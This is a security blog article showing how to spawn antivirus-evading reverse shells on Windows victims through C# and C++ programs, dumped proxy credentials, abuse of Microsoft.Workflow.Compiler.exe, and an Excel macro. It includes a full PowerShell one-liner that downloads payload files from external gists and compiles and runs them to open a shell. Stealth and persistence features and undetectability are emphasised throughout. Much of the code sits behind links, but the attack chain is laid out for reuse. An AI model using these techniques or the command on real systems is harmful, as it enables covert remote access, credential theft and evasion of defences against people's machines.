Undetectable C# & C++ Reverse Shells
Technical overview of different ways to spawn a reverse shell on a victim machine
Introduction
On December 2017 i wrote an article about some possible Insider Attacks that using in-memory PowerShell scripts which, months ago, were not detected by the major AV solutions. During last months, after warning all the vendors, they started to detect these attacks. Among the various attacks used in my article there was the opening of a reverse shell through the powersploit script executed directly in memory that is currently detected by most of AV vendors but…
..what would happen if that same behavior was done by a C++/C# program or something else?
Index Attacks list:
- Open a simple reverse shell on a target machine using C# code and bypassing AV solutions.
- Open a reverse shell with a little bit of persistence on a target machine using C++ code and bypassing AV solutions.
- Open C# Reverse Shell via Internet using Proxy Credentials.
- Open Reverse Shell via C# on-the-fly compiling with Microsoft.Workflow.Compiler.exe.
- Open Reverse Shell via PowerShell & C# live compiling
- Open Reverse Shell via Excel Macro, PowerShell and C# live compiling
C# Simple Reverse Shell Code writing
Looking on github there are many examples of C# code that open reverse shells via cmd.exe. In this case i copied part of the codes and used the following simple C# program. No evasion, no persistence, no hiding code, only simple “open socket and launch the cmd.exe on victim machine”:
Source code link: https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc
I put my kali in listening mode on 443 port with netcat, compiled and executed my code.
As you can see the .exe file is clean for Windows Defender. From AV side no malicious actions ware already performed. This could be a standard results.
Executing file the cmd instance is visible to the user and if the prompt window will be closed the same will happen for the shell.
Running the exe file will spawn immediately the shell on my Kali.
VIRUS TOTAL RESULT
C++ Reverse Shell with a little bit of persistence
Trying to go deeper i found different C++ codes with the same goal of the above reverse shell but one has aroused my attention. In particular i founded @NinjaParanoid’s code that opens a reverse shell with a little bit of persistence. Following some details of the code. For all the details go to the original article.
This script has 3 main advantages:
- while loop that try to reconnect after 5 seconds
- invisible cmd instance
- takes arguments if standard attackers ip change
After compiling the code I analyzed it with Windows Defender and no threats were detected. At this time the exe behavior begins to be a bit borderline between malicious and non. As you can imagine as soon as you run the file the shell will be opened after 5 seconds in “silent mode”.
From user side nothing appears on screen. There is only the background process that automatically reconnects to the Kali every 5 sec if something goes wrong.
VIRUS TOTAL RESULT
Open C# Reverse Shell via Internet using Proxy Credentials
Reasoning on how to exploit the proxy credentials to open a reverse shell on the internet from an internal company network I developed the following code:
- combine the peewpw script to dump Proxy credentials (if are present) from Credential Manager without admin privileges
- encode the dumped credentials in Base64
- insert them into Proxy authorization connect.
… and that’s it…
…before compile the code you need only the Proxy IP/PORT of the targeted company. For security reason i cannot share the source code for avoid the in the wild exploitation but if you have a little bit of programming skills you will write yourself all the steps chain. Obviously this attack has a very high failure rate because the victim may not have saved the domain credentials on the credential manager making the attack ineffective.
Also in this case no threats were detected by Windows Defender and other enterprise AV solutions.
Thanks to @SocketReve for helping me to write this code.
Open Reverse Shell via C# on-the-fly compiling with Microsoft.Workflow.Compiler.exe
Passing over and looking deeper i found different articles that talks about arbitrary, unsigned code execution in Microsoft.Workflow.Compiler.exe. Here the articles: 1– 2– 3.
As a result of these articles I thought … why not use this technique to open my reverse shell written in C#?
In short, the articles talk about how to abuse the Microsoft.Workflow.Compiler.exe service in order to compile C# code on-the-fly. Here an command example:
The REV.txt must need the following XOML structure:
Below you will find the RAW structure of the C# code that will be compiled (same of the C# reverse shell code described above):
After running the command, the following happens:
- Not fileless: the C# source code is fetched from the Rev.Shell file.
- Fileless: the C# payload is compiled and executed.
- Fileless: the payload opens the reverse shell.
Open Reverse Shell via PowerShell & C# live compiling
At this point I thought … what could be the next step to evolve this attack to something more usable in a red team or in a real attack?
Easy… to give Microsoft.Workflow.Compiler.exe the files to compile, why not use PowerShell? …and here we are:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
With this command the PS will download the two files described above and save them on the file system. Immediately afterwards it will abuse the Microsoft.Workflow.Compiler.exe to compile the C # live code and open the reverse shell. Following the gist links:
PowerShell Commands: https://gist.githubusercontent.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f/raw/7806b5c9642bdf39365c679addb28b6d19f31d76/PowerShell_Command.txt
Once the PS is launched the reverse shell will be opened without any detection.
Open Reverse Shell via Excel Macro, PowerShell and C# live compiling
As the last step of this series of attacks I tried to insert within a macro the Powershell code just described … and guess what?
The file is not detected as malicious and the reverse shell is opened without any alert.
VIRUS TOTAL RESULT
Many of the detections concern the macro that launch powershell and not for the actual behavior of the same. This means that if an attacker were able to obfuscate the code for not being detected or used other service to download the two files it could, without being detected, open a reversed shell as shown above.
Conclusion
Through the opening of several reverse shells written in different ways, this article wants to show that actions at the limit between good and evil are hardly detected by antivirus on the market. The first 2 shells are completely undetectable for all the AV on the market. The signatures related to the malicious macro concern only generic powershell and not the real abuse of microsoft services.
Critically, the arbitrary code execution technique using Microsoft.Workflow.Compiler.exe relies only on the ability to call a command, not on PowerShell. There is no need for the attacker to use some known PowerShell technique that might be detected and blocked by a security solution in place. You gain benefits such as bypassing application whitelisting and new ways of obfuscating malicious behavior. That said, when abusing Microsoft.Workflow.Compiler.exe, a temporary DLL will be created and may be detected by anti-virus.
All of that said, given recent trends it seems likely that we’ll start to see an increased number of attacks that utilize C# — or combinations of C# and PowerShell such as that featured in this article.
